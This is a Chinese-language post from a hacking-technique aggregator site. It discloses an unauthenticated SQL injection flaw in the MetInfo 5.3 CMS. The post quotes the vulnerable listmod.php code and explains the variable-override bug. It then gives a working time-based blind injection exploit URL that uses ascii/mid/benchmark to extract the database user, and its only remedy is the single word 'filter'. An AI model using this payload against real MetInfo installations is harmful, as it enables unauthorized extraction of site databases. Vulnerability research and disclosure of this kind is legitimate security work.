记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

MetInfo最新版SQL注入漏洞

2015-10-16 20:45

MetInfo最新版SQL注入漏洞无需登录

看到MetInfo5.3/include/global/listmod.php164-184行
 


foreach($dbparaname as $key=>$val2){
$prices1="paraprice_".$val2['id'];
$prices=$$prices1;
var_dump($prices);
if($prices){
if(!strstr($prices, "-")){
preg_match('/([0-9\.]+)/',$prices,$result);
$results=$result[0];
$serch_sql .= " and exists(select * from $met_plist where module=3 and $met_plist.paraid='$val2[id]' and $met_plist.listid=$dbname.id and $met_plist.info > $results) ";
$serchpage .= "&".$prices1."=".trim($$prices1);
}else{
//echo 3;
$prices_sql=explode('-',$prices);
preg_match('/([0-9\.]+)/',$prices_sql[1],$result);
$results=$result[0];
$serch_sql .= " and exists(select * from $met_plist where module=3 and $met_plist.paraid='$val2[id]' and $met_plist.listid=$dbname.id and $met_plist.info > $prices_sql[0] and $met_plist.info
$serchpage .= "&".$prices1."=".trim($$prices1);
}

}
}


其中
$prices_sql[0]

没有初始化,也没有单引号包裹。造成sql注入,但是前面有个逻辑判断。首先这里有个变量覆盖
$prices=$$prices1;

并且
paraprice_".$val2['id']

我们可以控制。只有构造如下url就行了
http://127.0.0.1/MetInfo5.3/download/download.php?search=search&mdmendy=1¶price_14=tomato-xxxx&mdname=product

看到mysql日志

然后构造exp
http://127.0.0.1/MetInfo5.3/download/download.php?search=search&mdmendy=1¶price_14=1) or if(ascii(mid(user(),1,1))=114,benchmark(10000000,md5(2)),1)%23-xxxx&mdname=product



注入成功

解决方案:

过滤

知识来源: www.2cto.com/Article/201510/446026.html

阅读:86380 | 评论:0 | 标签:注入 漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“MetInfo最新版SQL注入漏洞”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云

本页关键词